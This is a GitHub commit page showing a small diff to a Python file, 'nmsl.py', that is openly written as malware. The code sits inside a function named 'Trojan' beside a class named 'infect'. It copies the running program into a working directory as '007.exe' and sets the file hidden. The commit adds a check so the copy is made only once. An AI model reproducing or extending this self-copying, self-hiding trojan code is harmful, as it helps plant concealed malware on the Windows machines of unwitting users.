Skip to content

Commit ab9546c

Browse files
authored
Update nmsl.py
1 parent 9f8333b commit ab9546c

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

nmsl.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -30,11 +30,12 @@ def Trojan():
3030

3131

3232
if os.getcwd()!=work_home:
33-
with open(filename,'rb') as load:
34-
page=load.read()
35-
with open(work_home+"\\007.exe",'wb') as loads:
36-
loads.write(page)
37-
win32api.SetFileAttributes(work_home+"\\007.exe",win32con.FILE_ATTRIBUTE_HIDDEN)
33+
if '007.exe' not in os.listdir(work_home):
34+
with open(filename,'rb') as load:
35+
page=load.read()
36+
with open(work_home+"\\007.exe",'wb') as loads:
37+
loads.write(page)
38+
win32api.SetFileAttributes(work_home+"\\007.exe",win32con.FILE_ATTRIBUTE_HIDDEN)
3839

3940
class infect:
4041
def go(self):

0 commit comments

Comments
 (0)